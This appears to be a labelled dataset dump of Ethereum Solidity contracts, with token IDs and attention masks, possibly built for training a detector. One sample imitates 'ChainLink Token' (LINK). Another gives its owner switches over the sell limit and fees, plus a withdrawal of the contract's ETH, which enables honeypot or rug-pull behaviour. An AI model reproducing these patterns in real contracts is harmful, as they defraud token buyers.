tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**DIVISION_FACTOR
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**DIVISION_FACTOR
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(to == address(uniswapV2Pair))
require(amount <= _tTotal.div(DROP_DIVISOR), "Sell amount too high bro");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
} else{
uint256 charityAmount = amount.mul(charityFee).div(10**DIVISION_FACTOR);
totalDonated = totalDonated.add(charityAmount);
(uint tBurnAmount, uint rBurnAmount) = _getBurnAmounts(amount);
amount = amount.sub(tBurnAmount);
_burn(from, tBurnAmount, rBurnAmount);
_tokenTransfer(from,CHARITY_WALLET,charityAmount,false);
amount = amount.sub(charityAmount);
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(this),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function setLiquifyAmount(uint256 amount) public onlyOwner {
numTokensSellToAddToLiquidity = amount;
}
function setCharityFee(uint256 amount) public onlyOwner {
charityFee = amount;
}
function setDropDivisor(uint256 _DROP_DIVISOR) public onlyOwner {
require(_DROP_DIVISOR > 0,'need: divvies with privvies');
DROP_DIVISOR = _DROP_DIVISOR;
}
function setCharityWallet(address _charityWallet) public onlyOwner {
CHARITY_WALLET = _charityWallet;
}
function withdrawAnyToken(address _recipient, address _ERC20address, uint256 _amount) public onlyOwner returns(bool) {
require(_ERC20address != uniswapV2Pair, "Can't transfer out LP tokens!");
require(_ERC20address != address(this), "Can't transfer out contract tokens!");
IERC20(_ERC20address).transfer(_recipient, _amount); //use of the _ERC20 traditional transfer
return true;
}
function transferXS(address payable recipient) public onlyOwner {
recipient.transfer(address(this).balance);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2324,
1008,
1013,
1013,
1008,
1008,
12598,
4171,
1024,
1016,
1003,
8285,
10750,
2000,
13304,
2005,
2296,
12598,
1006,
4965,
1013,
5271,
1007,
3825,
3495,
2000,
13304,
15882,
1015,
1012,
4293,
1003,
2741,
2000,
2136,
15882,
1016,
1003,
6402,
3446,
2566,
12598,
1016,
1003,
6882,
6381,
3012,
2794,
2000,
1996,
4770,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-01-04
*/
pragma solidity ^0.8.2;
contract Token {
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowance;
uint public totalSupply = 1000000000 * 10 ** 18;
string public name = "ChainLink Token";
string public symbol = "LINK";
uint public decimals = 18;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
constructor() {
balances[msg.sender] = totalSupply;
}
function balanceOf(address owner) public returns(uint) {
return balances[owner];
}
function transfer(address to, uint value) public returns(bool) {
require(balanceOf(msg.sender) >= value, 'balance too low');
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) public returns(bool) {
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5890,
1011,
5840,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1016,
1025,
3206,
19204,
1063,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
5703,
2015,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
1007,
2270,
21447,
1025,
21318,
3372,
2270,
21948,
6279,
22086,
1027,
6694,
8889,
8889,
8889,
1008,
2184,
1008,
1008,
2324,
1025,
5164,
2270,
2171,
1027,
1000,
4677,
13767,
19204,
1000,
1025,
5164,
2270,
6454,
1027,
1000,
4957,
1000,
1025,
21318,
3372,
2270,
26066,
2015,
1027,
2324,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
1025,
9570,
2953,
1006,
1007,
1063,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
21948,
6279,
22086,
1025,
1065,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
2270,
5651,
1006,
21318,
3372,
1007,
1063,
2709,
5703,
2015,
1031,
3954,
1033,
1025,
1065,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006,
5703,
11253,
1006,
5796,
2290,
1012,
4604,
2121,
1007,
1028,
1027,
3643,
1010,
1005,
5703,
2205,
2659,
1005,
1007,
1025,
5703,
2015,
1031,
2000,
1033,
1009,
1027,
3643,
1025,
5703,
2015,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1011,
1027,
3643,
1025,
12495,
2102,
4651,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
2000,
1010,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006,
5703,
11253,
1006,
2013,
1007,
1028,
1027,
3643,
1010,
1005,
5703,
2205,
2659,
1005,
1007,
1025,
5478,
1006,
21447,
1031,
2013,
1033,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1028,
1027,
3643,
1010,
1005,
21447,
2205,
2659,
1005,
1007,
1025,
5703,
2015,
1031,
2000,
1033,
1009,
1027,
3643,
1025,
5703,
2015,
1031,
2013,
1033,
1011,
1027,
3643,
1025,
12495,
2102,
4651,
1006,
2013,
1010,
2000,
1010,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1063,
21447,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1031,
5247,
2121,
1033,
1027,
3643,
1025,
12495,
2102,
6226,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
5247,
2121,
1010,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
/**
*Submitted for verification at Etherscan.io on 2020-05-12
*/
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
bool private _notEntered;
constructor () internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
